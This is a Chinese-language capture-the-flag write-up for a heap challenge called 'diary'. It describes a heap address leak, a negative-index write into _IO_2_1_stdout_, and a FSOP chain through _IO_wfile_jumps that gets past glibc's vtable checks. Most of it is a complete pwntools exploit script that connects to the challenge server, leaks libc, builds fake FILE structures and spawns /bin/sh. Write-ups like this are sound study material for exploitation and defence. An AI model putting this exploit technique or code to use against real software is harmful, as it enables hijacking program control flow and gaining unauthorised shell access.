# 基本流程
- 堆地址泄漏(输入字符串未截断,可以直接泄漏)
- 索引可以为负,上面是 _IO_2_1_stdout,因此可以改写 write_base 指针来进行泄漏 libc 地址
- FSOP:
- 构造 _IO_2_1_stdout 的 _chain 连接的下一个堆块
- libc 2.24 起开始对文件的 vtable 进行检查,因此无法直接劫持 vtable,参考:https://darkeyer.github.io/2020/08/17/FSOP%E5%9C%A8glibc2.29%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/ 完成构造利用
# 程序描述
这题是一个堆相关的漏洞,通过操作日记,可以操作堆块的增删改查,申请的堆块存放在 bss 段中,且正好在 name 的后面:


但是修改只能改一次,而且每一个堆块申请了一次之后在释放就无法在 bss 段中对应的该索引位置再次申请了:

# 漏洞
这题的漏洞比较明显,有两个漏洞,在利用过程中都需要使用:
- 输入字符串未在末尾添加 0 截断,可以通过显示输入的 name 对堆地址进行泄漏
- 索引未检查负数,可以使用负索引修改 stdout 指向的内容

# 利用
因为只能通过对 stdout 的内容进行修改,因此需要通过 FSOP 进行利用。在 Linux 的进程启动的时候,有一个全局变量 _IO_list_all,该变量是一个链表,会将当前打开的文件结构(_IO_FILE_)进行串联。因为在程序运行时有 3 个文件(stdin、stdout、stderr)是打开的,因此在默认情况下,进程运行之后 _IO_list_all 链表中会存在这三个文件结构:

关于 _IO_FILE_ 结构等详细讲解可以参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/
当一个进程在调用 abort() 或 exit() 函数的时候,或者 main() 函数返回的时候,会遍历 _IO_list_all 链,一次调用每一个文件结构中的 overflow 函数,而 overflow 函数是存在文件结构中的虚表中的:

因此,由于我们可以编辑 _IO_2_1_stdout_ 的内容,如果我们可以使得 _IO_2_1_stdout_ 中的 vtable 指向我们可以控制的内存(Fake Vtable),然后在 Fake Vtable 中伪造 __overflow 为任意函数,则可以劫持控制流。
但是,在 libc 2.24 之后,libc 在执行 vtable 中的函数的时候,对 vtable 的有效性做了验证,因此需要借助其内部的机制进行利用,而不能简单粗暴地劫持虚表。
那么,如何利用呢?可以参考链接:https://darkeyer.github.io/2020/08/17/FSOP%E5%9C%A8glibc2.29%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/。从上图中我们可以看到,vtable 指向的是 _IO_file_jump 这个虚表,但是实际上系统中不止这一个虚表,还有其他虚表。有一些虚表中的一些函数,会将调用的文件结构的部分内存看作是函数指针,并且最终调用这个函数指针。因此,我们只需要根据那些函数的调用逻辑,构造这样的一个堆块即可。
比如 _IO_wfile_jumps 这个虚表,同样包含较多的函数,其中 _IO_wfile_jumps 函数如下:

因此我们构造 fp 的内存布局,然后将这个内存布局挂到 _IO_list_all 上,最后调用 exit() 即可劫持控制流。
但是,在利用之前,还需要泄漏 libc 地址,由于我们可以修改 _IO_2_1_stdout_ 结构中的任意内容,因此将其 write_base 和 write_ptr 进行修改(对于文件的输出的详解可以查看:https://ray-cp.github.io/archivers/IO_FILE_fwrite_analysis),改到对应的已经释放到 unsorted bin 中的堆地址,然后显示即可。
最后,将 *cv->__codecvt_do_encoding 对应的内容更改为 system 指针,将 cv 中的值改为 “/bin/sh\x00” 即可完成利用。
# Exp
from pwn import *
# context.log_level = 'DEBUG'
# program = process('./diary')
program = remote('diary.balsnctf.com', 10101)
program.sendafter('your name : ', 'A' * 0x20)
def show_name():
program.sendlineafter('choice : ', '1')
content = program.recvuntil('\n=========', drop=True)
return content
def write_diary(length, content):
program.sendlineafter('choice : ', '2')
program.sendafter('Diary Length : ', str(length))
program.sendafter('Diary Content : ', content)
def read_diary(idx):
program.sendlineafter('choice : ', '3')
program.sendlineafter('Page : ', str(idx))
content = program.recvuntil('\n=========', drop=True)
return content
def edit_diary(idx, content):
program.sendlineafter('choice : ', '4')
program.sendlineafter('Page : ', str(idx))
program.sendafter('Content : ', content)
def tear_out(idx):
program.sendlineafter('choice : ', '5')
program.sendlineafter('Page : ', str(idx))
write_diary(0x80, '\n' * 0x80)
leak = show_name()[-6:]
heap_address = u64(leak.ljust(8, '\x00'))
fake_addr = heap_address + 0x490
buf_addr = heap_address + 0x5b0
info("Heap address: " + hex(heap_address))
for i in range(7):
write_diary(0x80, 'B' * 0x80)
for i in range(7):
tear_out(i + 1)
tear_out(0)
edit_diary(-8, p32(0) + p64(heap_address) * 4 + p64(heap_address + 0x20) * 4 + p64(0x0) * 4 + p64(fake_addr))
# pause()
# program.interactive()
leak = program.recv(6)
# 0x1e4ca0
# 0x3ebc40
# libc = u64(leak.ljust(8, '\x00')) - 0x3ebca0 # Libc 2.27
libc = u64(leak.ljust(8, '\x00')) - 0x1e4ca0
# system_addr = libc + 0x4f550 # Libc 2.27
system_addr = libc + 0x52fd0
# puts_addr = libc + 0x80aa0
puts_addr = libc + 0x83cc0
# bin_sh_addr = libc + 0x1b3e1a
bin_sh_addr = libc + 0x1afb84
# wfile_jmp = libc + 0x3e7d60
wfile_jmp = libc + 0x1e6020
info("Libc address: " + hex(libc))
write_diary(0x80, p64(0x0) * 0x10) # 8
fake_file_payload = p64(0) * 5 + p64(1) + p64(0) * 2 + p64((bin_sh_addr - 100) // 2)
write_diary(0x80, p32(0x0) + p64(0) + fake_file_payload) # 9
write_diary(0x80, p32(0) + p64(0) + p64(0) + p64(buf_addr) + p64(buf_addr + 0x30) + p64(0x0) * 6 + p64(wfile_jmp + 72)) # 10 0x5566cecd9760
write_diary(0x80, p32(0x0) + p64(0x0) + '/bin/sh\x00' + p64(system_addr) * 0x5 + p64(1) + p64(0) + p64(1) + p64(0)) # 11
pause()
program.sendlineafter('choice : ', '6')
program.interactive()
pause()